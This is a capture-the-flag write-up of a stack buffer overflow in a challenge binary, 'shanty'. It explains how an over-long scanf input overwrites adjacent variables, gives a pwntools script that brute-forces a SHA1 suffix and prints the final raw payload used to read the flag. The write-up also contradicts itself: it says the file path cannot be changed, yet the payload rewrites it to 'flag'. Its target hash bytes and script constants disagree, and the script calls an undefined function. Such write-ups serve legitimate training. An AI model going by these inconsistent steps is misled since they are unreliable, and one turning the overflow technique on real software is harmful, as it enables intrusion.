Over-write multiple variables
An application asks for a password and if given the correct one, returns secret information from the
info
file, located in the same directory.
We have access to the source code and the binary.
We want the
flag
file located in that directory but only the
shanty
executable has reading premission for that file.
Finding Vulnerability
FILE *file; //4 bytes
unsigned char content[128]; //128 bytes
unsigned char correct_hash[20] = {...}; //20 bytes
char filename[] = "/challenges/shanty/info"; //23 bytes + 1 for "\0"
unsigned char salt[8] = {...}; //8 bytes
-> unsigned char password[20]; //20 bytes
unsigned char salted_password[28]; //28 bytes
-> scanf("%69s", password); //limit: 69 bytes
Although there is a boundary for the user input string length at
scanf("%69s", password);
(69 byte), there are only 20 allocated bytes for the password in the stack.
This makes this program vulnerable to stack buffer overflow attacks.
Perhaps overwrite
correct_hash
?
This is what we assume what the stack looks like:
0x000...
| ... |
|---------------| <= esp
| salted_passw. |
| password | 20 bytes (our input)
| salt | 8 bytes
| filename | 24 bytes
| correct_hash | 20 bytes -> we can not reach 0x4b, 0xc1, 0x03
| content | unreachable
| file | unreachable
| ... |
|---------------| <= ebp
| sfp (old ebp) |
| ret adr |
|---------------|
| argv[] |
| ... |
0xFFF...
- Bruteforcing a password with 20 characters would take too long
-
We can not fully overwrite the
correct_hash
variable
-
We can not change the file path from
info
toflag
We therefore must over-write 17 out of the 20 characters in
correct_hash
and then find 3 characters that are equal to the ones we can not reach when they are hashed with the SHA1 function.
Our payload:
(password: should end with the 3 given bytes after hashing, 20 bytes) +
(salt: unchanged, 8 bytes) +
(filename:'/challenges/shanty/info', 24 bytes) +
(correct_hash: 17 / 20 characters overwritten, 17 bytes)
We disassembled the binary to figure out the memory spaces of each relevant memory space:
salt [ebp-0xb9],0x54 - [ebp-0xc0],0x5a
filename [ebp-0xa4],0x6f666e - [ebp-0xb8],0x6168632f
correct_hash [ebp-0xb9],0xffffd518 - [ebp-0xa0],0xffffd52c
And we wrote down the content of these memory spaces (little endian) so we can reconstruct them in our payload.
Brute forcing to find hashed input
We then used a script to find the hashed input (19 Bytes) that ends with
0x4b, 0xc1, 0x03
.
#!/usr/bin/env python3
import re
import hashlib
from pwn import *CORRECT_HASH = "1dbb7e1f7283190b1d17658cc73d75dea54bc103"
END = "00c103"
SALT = b"\x5a\xc8\x85\x87\x9e\x33\xdf\x54"def hash_match(s):
h = hashlib.sha1()
h.update(SALT)
h.update(s.encode())
return h.hexdigest().endswith(END)def main():
solve()
answer = iters.mbruteforce(
lambda x: hash_match(x), string.ascii_letters + string.digits, 19, threads=4)
print(answer)
if __name__ == '__main__':
main()
Entering payload
We then used the received output from our script from the string for the actual payload and then got the flag.
./shanty < <(python3 -c 'import sys; sys.stdout.buffer.write(b"mWmN" +
b"\x00\x00\x00\x01" +
b"A"*12 +
b"\x5A\xC8\x85\x87\x9E\x33\xDF\x54" +
b"\x2f\x63\x68\x61\x6c\x6c\x65\x6e\x67\x65\x73\x2f\x73\x68\x61\x6e\x74\x79\x2f\x66\x6c\x61\x67\x00"+
b"\x32\xaa\xb7\x3a\xc6\x51\xc0\x39\xe8\x90\x88\x65\x04\x4f\x03\x14\xcc\x00\xc1\x03")')
Prevention
We could not have executed the exploit, if the code had the right limit for
scanf
.